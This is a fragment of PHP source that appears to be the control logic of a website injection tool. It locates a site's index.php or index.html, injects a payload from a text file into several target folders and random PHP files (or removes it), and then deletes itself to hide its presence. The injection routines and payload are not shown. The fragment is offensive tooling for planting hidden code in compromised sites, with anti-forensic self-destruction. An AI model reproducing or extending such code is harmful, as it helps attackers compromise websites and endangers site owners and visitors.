$GLOBALS['FOLDER_COUNT']); _log('INFO', "Random PHP targets: " . $GLOBALS['RAND_PHP_FILE']); if (!is_dir($siteRoot)) { _log('ERROR', "Site root not found: $siteRoot"); auto_mode_self_destruct($scriptDir, $infoPath, $mode, "Site root not found: $siteRoot"); output_html(false, $_logs); exit(1); } if (!is_file("$siteRoot/index.php")) { if (is_file("$siteRoot/index.html")) { _log('INFO', "index.php not found but index.html exists - static site detected, will rename during injection."); } else { _log('ERROR', "index.php not found in site root: $siteRoot. " . "If this CMS uses a different entry point, add it to \$TARGET_FILES and set \$SITE_ROOT manually."); auto_mode_self_destruct($scriptDir, $infoPath, $mode, "index.php not found in site root: $siteRoot"); output_html(false, $_logs); exit(1); } } if ($mode === 'add') { $success = do_add($scriptDir, $siteRoot, $infoPath, $GLOBALS['FOLDER_COUNT'], $GLOBALS['TARGET_FILES']); } else { $success = do_remove($scriptDir, $siteRoot, $infoPath); } if (empty($GLOBALS['_PAYLOAD_MISSING'])) { self_destruct($scriptDir, $infoPath); } else { _log('WARN', 'Payload was missing or ambiguous - skipping self-destruct. Fix the xxxx-xxxx.txt payload file (upload it or keep only one) and run again.'); } if (php_sapi_name() === 'cli') { echo implode("\n", $_logs) . "\n"; exit($success ? 0 : 1); } output_html($success, $_logs);